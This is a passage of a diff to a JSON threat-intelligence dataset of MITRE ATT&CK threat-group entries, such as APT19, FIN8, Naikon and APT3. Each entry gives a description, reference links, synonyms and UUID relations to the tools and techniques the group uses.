"https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/", + "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/", + "https://www.fireeye.com/current-threats/apt-groups.html#apt19", + "https://www.darkreading.com/attacks-breaches/chinese-hacking-group-codoso-team-uses-forbescom-as-watering-hole-/d/d-id/1319059" + ], + "synonyms": [ + "APT19", + "Codoso", + "C0d0so0", + "Codoso Team", + "Sunshop Group" + ] + }, + "related": [ + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "value": "APT19 - G0073" + }, + { + "description": "[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)", + "meta": { + "external_id": "G0041", + "refs": [ + "https://attack.mitre.org/groups/G0041", + "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets", + "https://securelist.com/faq-the-projectsauron-apt/75533/", + "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + ], + "synonyms": [ + "Strider", + "ProjectSauron" + ] + }, + "related": [ + { + "dest-uuid": "f3179cfb-9c86-4980-bd6b-e4fa74adaaa7", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656", + "value": "Strider - G0041" + }, + { + "description": "[Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)", + "meta": { + "external_id": "G0015", + "refs": [ + "https://attack.mitre.org/groups/G0015", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + ], + "synonyms": [ + "Taidoor" + ] + }, + "related": [ + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "59140a2e-d117-4206-9b2c-2a8662bd9d46", + "value": "Taidoor - G0015" + }, + { + "description": "[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)", + "meta": { + "external_id": "G0061", + "refs": [ + "https://attack.mitre.org/groups/G0061", + "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", + "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + ], + "synonyms": [ + "FIN8" + ] + }, + "related": [ + { + "dest-uuid": "a78ae9fe-71cd-4563-9213-7b6260bd9a73", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + 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"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c4de7d83-e875-4c88-8b5d-06c41e5b7e79", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "value": "FIN8 - G0061" + }, + { + "description": "[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)", + "meta": { + "external_id": "G0017", + "refs": [ + "https://attack.mitre.org/groups/G0017", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", - "https://dl.mandiant.com/EE/library/MIRcon2014/MIRcon%202014%20R&D%20Track%20Insight%20into%20Symbiotic%20APT.pdf" + "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" ], "synonyms": [ "DragonOK" - ], - "uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a" + ] }, "related": [ { @@ -1091,176 +7085,125 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "DragonOK" - }, - { - "description": "Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing.[[Citation: Kaspersky Darkhotel]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0012", - "https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf" - ], - "synonyms": [ - "Darkhotel" - ], - "uuid": "9e729a7e-0dd6-4097-95bf-db8d64911383" - }, - "value": "Darkhotel" - }, - { - "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems.[[Citation: Symantec Dragonfly]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0035", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" - ], - "synonyms": [ - "Dragonfly", - "Energetic Bear" - ], - "uuid": "1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1" - }, - "related": [ - { - "dest-uuid": "64d6559c-6d5c-4585-bbf9-c17868f763ee", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Dragonfly" - }, - { - "description": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives.[[Citation: Kaspersky Equation QA]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0020", - "https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf" - ], - "synonyms": [ - "Equation" - ], - "uuid": "96e239be-ad99-49eb-b127-3007b8c1bec9" - }, - "value": "Equation" - }, - { - "description": "MONSOON is the name of an espionage campaign that apparently started in December 2015 and was ongoing as of July 2016. It is believed that the actors behind MONSOON are the same actors behind Operation Hangover. While attribution is unclear, the campaign has targeted victims with military and political interests in the Indian Subcontinent.[[Citation: Forcepoint Monsoon]] Operation Hangover has been reported as being Indian in origin, and can be traced back to 2010.[[Citation: Operation Hangover May 2013]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0042", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", - "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure.pdf" - ], - "synonyms": [ - "MONSOON", - "Operation Hangover" - ], - "uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772" - }, - "related": [ - { - "dest-uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" }, { - "dest-uuid": "18d473a5-831b-47a5-97a1-a32156299825", + "dest-uuid": "b42378e0-f147-496f-992a-26a49705395b", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "MONSOON" - }, - { - "description": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM).[[Citation: ESET RTM Feb 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0048", - "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" - ], - "synonyms": [ - "RTM" - ], - "uuid": "c416b28c-103b-4df1-909e-78089a7e0e5f" - }, - "value": "RTM" - }, - { - "description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. .[[Citation: Haq 2014]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0002", - "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" - ], - "synonyms": [ - "Moafee" - ], - "uuid": "2e5d3a83-fe00-41a5-9b60-237efc84832f" - }, - "related": [ - { - "dest-uuid": "a9b44750-992c-4743-8922-129880d277ea", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a", + "dest-uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" } ], - "value": "Moafee" + "uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a", + "value": "DragonOK - G0017" }, { - "description": "Molerats is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.[[Citation: DustySky]][[Citation: DustySky2]]", + "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage. (Citation: Symantec Orangeworm April 2018)", "meta": { + "external_id": "G0071", "refs": [ - "https://attack.mitre.org/wiki/Group/G0021", - "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2%20-6.2016%20TLP%20White.pdf" + "https://attack.mitre.org/groups/G0071", + "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" ], "synonyms": [ - "Molerats", - "Gaza cybergang", - "Operation Molerats" - ], - "uuid": "df71bb3b-813c-45eb-a8bc-f2a419837411" + "Orangeworm" + ] }, "related": [ { - "dest-uuid": "f7c2e501-73b1-400f-a5d9-2e2e07b7dfde", + "dest-uuid": "c2417bab-3189-4d4d-9d60-96de2cdaf0ab", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30489451-5886-4c46-90c9-0dff9adc5252", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "294e2560-bd48-44b2-9da2-833b5588ad11", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4664b683-f578-434f-919b-1c1aad2a1111", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Molerats" + "uuid": "5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "value": "Orangeworm - G0071" }, { - "description": "Naikon is a threat group that has focused on targets around the South China Sea.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]", + "description": "[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)", "meta": { + "external_id": "G0019", "refs": [ - "https://attack.mitre.org/wiki/Group/G0019", - "http://cdn2.hubspot.net/hubfs/454298/Project%20CAMERASHY%20ThreatConnect%20Copyright%202015.pdf", + "https://attack.mitre.org/groups/G0019", "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf", - "https://securelist.com/analysis/publications/69953/the-naikon-apt/" + "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf", + "https://securelist.com/the-naikon-apt/69953/" ], "synonyms": [ "Naikon" - ], - "uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050" + ] }, "related": [ { @@ -1290,49 +7233,2463 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "5a63f900-5e7e-4928-a746-dd4558e1df71", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c553311-0baa-4146-997a-f79acef3d831", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7f8730af-f683-423f-9ee1-5f6875a80481", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "22addc7b-b39f-483d-979a-1b35147da5de", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Naikon" + "uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "value": "Naikon - G0019" }, { - "description": "OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern victims since at least 2015.[[Citation: Palo Alto OilRig April 2017]][[Citation: ClearSky OilRig Jan 2017]][[Citation: Palo Alto OilRig May 2016]][[Citation: Palo Alto OilRig Oct 2016]]", + "description": "[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\nAPT3 Adversary Emulation Plan - (Citation: APT3 Adversary Emulation Plan)", "meta": { + "external_id": "G0022", "refs": [ - "https://attack.mitre.org/wiki/Group/G0049", - "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/", - "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/", - "http://www.clearskysec.com/oilrig/", - "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + "https://attack.mitre.org/groups/G0022", + "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html", + "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html", + "http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html", + "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", + "https://www.recordedfuture.com/chinese-mss-behind-apt3/", + "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" ], "synonyms": [ - "OilRig" - ], - "uuid": "b96e02f1-4037-463f-b158-5a964352f8d9" + "APT3", + "Gothic Panda", + "Pirpi", + "UPS Team", + "Buckeye", + "Threat Group-0110", + "TG-0110" + ] }, "related": [ + { + "dest-uuid": "d144c83e-2302-4947-9e24-856fbf7949ae", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "tags": [ + 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(Citation: Proofpoint TA459 April 2017)", + "meta": { + "external_id": "G0062", + "refs": [ + "https://attack.mitre.org/groups/G0062", + "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + ], + "synonyms": [ + "TA459" + ] + }, + "related": [ + { + "dest-uuid": "c6472ae1-c6ad-4cf1-8d6e-8c94b94fe314", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ab44516-ad75-4e43-a280-705dc0420e2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "value": "TA459 - G0062" + }, + { + "meta": { + "external_id": "G0042", + "refs": [ + "https://attack.mitre.org/groups/G0042" + ] + }, + "related": [ + { + "dest-uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "18d473a5-831b-47a5-97a1-a32156299825", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772", + "value": "MONSOON - G0042" + }, + { + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", + "meta": { + "external_id": "G0052", + "refs": [ + "https://attack.mitre.org/groups/G0052", + "http://www.clearskysec.com/copykitten-jpost/", + "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", + "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + ], + "synonyms": [ + "CopyKittens" + ] + }, + "related": [ + { + "dest-uuid": "8cca9a1d-66e4-4bc4-ad49-95f759f4c1ae", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + 